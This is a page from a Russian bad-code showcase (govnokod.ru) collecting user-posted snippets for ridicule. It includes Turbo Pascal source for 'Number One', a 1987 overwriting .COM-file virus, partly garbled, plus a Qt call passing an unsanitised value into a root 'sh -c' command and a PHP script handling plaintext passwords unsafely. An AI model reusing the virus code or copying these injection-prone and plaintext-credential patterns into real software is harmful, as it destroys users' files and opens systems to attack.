- 1
- 2
- 3
- 4
- 5
command = QString("sh -c \"echo \"nameserver %1\" > /etc/resolv.conf\"")
.arg(nameserver.toString());
QProcess process;
process.start(command);
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−28
command = QString("sh -c \"echo \"nameserver %1\" > /etc/resolv.conf\"")
.arg(nameserver.toString());
QProcess process;
process.start(command);
+142
if (!menu) error(E_NOMEM); /* add titles and items */
if ((mn_addtitle(menu, "file", 0, 0, 0) != 0)
|| (mn_additem (menu, "load", 1, mcb_load, 0) != 0)
|| (mn_additem (menu, "save", 0, mcb_save, 0) != 0)
|| (mn_additem (menu, "mpost", 0, mcb_mpost, 0) != 0)
|| (mn_additem (menu, NULL, 0, 0, 0) != 0)
|| (mn_additem (menu, "quit", 0, mcb_quit, 0) != 0)
|| (mn_addtitle(menu, "actions", 0, 0, 0) != 0)
|| (mn_additem (menu, "init", 0, mcb_init, 0) != 0)
|| (mn_additem (menu, "start", 2, mcb_start, 0) != 0)
|| (mn_additem (menu, "stop", 4, mcb_start, 0) != 0)
|| (mn_additem (menu, NULL, 0, 0, 0) != 0)
|| (mn_additem (menu, "view", 0, mcb_view, 0) != 0)
|| (mn_additem (menu, "redraw", 0, mcb_redraw, 0) != 0)
|| (mn_addtitle(menu, "settings", 0, 0, 0) != 0)
|| (mn_additem (menu, "grid", 1, mcb_grid, 0) != 0)
|| (mn_additem (menu, "params", 0, mcb_params, 0) != 0)
|| (mn_addtitle(menu, "help", 0, 0, 0) != 0)
|| (mn_additem (menu, "about", 0, mcb_about, 0) != 0)
|| (mn_addtitle(menu, NULL, 0, 0, 0) != 0))
error(E_WIDGET);
mn_resize (menu, INITXEXT); /* set width of menu bar */
mn_visible(menu, MN_ITEMS, 3);/* show/hide menu items */
mn_enable (menu, MN_ITEMS, 3);/* enable/disable menu items */
Кусок кода из программы http://www.borgelt.net/doc/somd/somd.html для визуализации SOM. Эпичная проверка условий!
+102
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Вторая часть.
+94
{
-----------------------------------------------------------------
Number One
This is a very primitiv computer virus.
HANDLE WITH CARE! ----------- demonstration ONLY!
Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a .
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;
{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}
MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}
Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }
--Program code-------------------------------------------------------
Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}
if Post ('', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Первая часть.
+155
ISQ.Data.checkString=function(e,f){
var d=true;
switch(f){
case"email":
var a=/^[\w-_\&.]+\@([\w-_]+\.[\w-_]+){1,3}$/;
var g=new RegExp("[~!#$%^&*()=''\"\\/><?[]{}|]","g");
return(e.search(g)===-1)&&(e.match(a))&&(e!=="");
break;
case"number":
var b=/^[-]?[0-9]+\.?[0-9]?$/;
return b.test(e);
break;
case"username":
var c=new RegExp(".+@.+");
return(c.test(e));
break;
case"url":
var c=new RegExp("^https?://([a-zA-Z0-9]+.){1,}[a-zA-Z0-9]+");
return(c.test(e));
break
}
return d
}
// Функция универсальной валидации.
// (Но незадолго до того было еще и)
ISQ.Data.getEmailAddress=function(e){
var a=/[\w-_\&.]+\@[\w-_]+\.+[\w-_.]+/g;
var d=e.match(a);
if(d===null||d.length===0){
return null
}
var f=new RegExp();
f.compile("[~!#$%^&*()=`'\"\\/><?[]{}|]","g");
var b=new Array();
for(var c=0;c<d.length;++c){
if(d[c].search(f)===-1){
b.push(d[c])
}
}
return b
}
Еще одна творческая работа.
−30
#include <iostream>
#include <conio.h>
using namespace std;
char* find(char* str)
{
int i = 0, mlen=0;
char* minword = new char[100];
char* curword = new char[100];
while(str[i]==' ') i++;
mlen = i;
while((str[mlen]!=' ')&&(str[mlen])) mlen++;
mlen -= i;
strncpy(minword, str+i, mlen);
minword[mlen] = '\0';
i += mlen;
while(str[i])
{
while(str[i]==' ') i++;
mlen = i;
while((str[mlen]!=' ')&&(str[mlen])) mlen++;
mlen -= i;
strncpy(curword, str+i, mlen);
curword[mlen] = '\0';
i += mlen;
if(strcmp(minword, curword) > 0)
{
strcpy(minword, curword);
}
}
return minword;
}
void del(char*& str, char* str2)
{
int i = 0, j =0, st=0;
char* nstr = new char[200];
while(str[i])
{
j = 0;
while(str[i]==str2[j])
{
i++; j++;
}
if(j==strlen(str2))
{
strncpy(nstr, str+st, i-j);
nstr[i-j] = '\0';
st = i;
break;
}
i++;
}
strcat(nstr, str+st);
str = nstr;
}
void sort(char*& str)
{
int len = strlen(str);
char* nstr = new char[200];
char* buf = new char[200];
buf = find(str);
strcpy(nstr, buf);
del(str, buf);
while(strlen(nstr) != len)
{
buf = find(str);
strcat(nstr, " ");
strcat(nstr, buf);
del(str, buf);
}
nstr[len] = '\0';
str = nstr;
}
void main()
{
char* str = new char[200];
str = "my little pony";
sort(str);
cout<<str;
}
Из вузовского компьютера.
+53
function showDate($date){
$month=explode('-',$date);
if($month[1]==01){ $name="января"; }
if($month[1]==02){ $name="февраля"; }
if($month[1]==03){ $name="марта"; }
if($month[1]==04){ $name="апреля"; }
if($month[1]==05){ $name="мая"; }
if($month[1]==06){ $name="июня"; }
if($month[1]==07){ $name="июля"; }
if($month[1]==08){ $name="августа"; }
if($month[1]==09){ $name="сентября"; }
if($month[1]==10){ $name="октября"; }
if($month[1]==11){ $name="ноября"; }
if($month[1]==12){ $name="декабря"; }
$rd=$month[2]." ".$name." ".$month[0];
return $rd;
}
+56
foreach($succes_type as $value) {
if (strcasecmp($typefile, $value) == 0) $resultat = 1;
}
# Проверка загружаемого
if($resultat != 1 OR $resultat == null OR $resultat == 0) {
...
}
$resultat выше не определялась...
+158
ISQ.Http.detectBroswer=function(){
var b=navigator.appVersion;
var f=navigator.userAgent;
var a=0;
ISQ.Http.browser={};
if(navigator.appVersion.indexOf("Android")!==-1){
ISQ.Http.browser.app="android";
var c=navigator.appVersion.indexOf("Version/")+8;
var g=navigator.appVersion.substring(c,navigator.appVersion.indexOf(" ",c));
ISQ.Http.browser.version=parseInt(g);
ISQ.Http.browser.isMobile=true;
ISQ.Http.browser.usesViewport=true;
ISQ.Http.browser.isAndroid=true
}
else
{
if(navigator.appVersion.indexOf("iPhone")!==-1){
var g=navigator.appVersion.substring(0,navigator.appVersion.indexOf(" "));
ISQ.Http.browser.app="safari";
ISQ.Http.browser.version="iphone "+parseInt(g);
ISQ.Http.browser.isMobile=true;
ISQ.Http.browser.usesViewport=true;
ISQ.Http.browser.isIPhone=true
}
else
{
if(navigator.appVersion.indexOf("iPad")!==-1){
var g=navigator.appVersion.substring(0,navigator.appVersion.indexOf(" "));
/* identical to iPhone */
}
else
{
if((a=b.indexOf("MSIE "))!==-1){
ISQ.Http.browser.app="ie";
a+=5;
/* version check skipped */
}
else
{
if(b.indexOf("Chrome")!==-1){
ISQ.Http.browser.app="chrome";
ISQ.Http.browser.version="0"
}
else
{
if((a=b.indexOf("Safari"))!==-1){
/* version check skipped */
}
else
{
if((a=f.indexOf("Firefox/"))!==-1){
ISQ.Http.browser.app="ff";
/* version check skipped */
}
else
{
if(f.indexOf("Opera/")!==-1){
ISQ.Http.browser.app="opera";
var c=f.indexOf("Version/");
if(c===-1){
var d=f.indexOf(" ",6);
ISQ.Http.browser.version=f.substring(6,d)
}
else
{
/* version check skipped */
}
ISQ.Http.browser.isOpera=true
}
else
{
if(f.contains("Symbian")){
ISQ.Http.browser.app="symbian";
ISQ.Http.browser.version=1;
ISQ.Http.browser.full=ISQ.Http.browser.app+
ISQ.Http.browser.version
}
else
{
ISQ.Http.browser.app="ie";
ISQ.Http.browser.version="7.0;";
ISQ.Http.browser.isIE7=true
}
}
}
}
}
}
}
}
}
ISQ.Http.browser.full=ISQ.Http.browser.app+ISQ.Http.browser.version;
f=null;
b=null
}
Неизвестный автор ISQ фреймворка определяет браузер.
Яваскрипт, Визуал Студио; Частное собрание сочинений.
+70
<? // файл data/conf/config.php
$user = array (
"0" => array("administrator", "bita98"),
"1" => array("ml.administrator", "select11"),
"2" => array("moderator", "argument19")
);
?>
<? // Другой файл, для смены пароля
$pass = $_POST["pass"];
$new_pass = $_POST["new_pass"];
$files = file('data/conf/config.php');
foreach ($files as $key=>$value)
{
$files[$key]=str_replace($pass, $new_pass, $value);
}
$f = fopen("data/conf/config.php","w+");
foreach ($files as $keys=>$values)
{
fwrite($f,$values);
}
fclose($f);
echo "<h2>Пароль " . $pass . " пользователя " . $_SESSION["username"] . ", был изменен на " . $new_pass . "</h2>";
$_SESSION['password'] = null;
$_SESSION['password'] = $new_pass;
?>
Вот как нужно редактировать массивы в исходниках!
cbr-admin.v2.1.7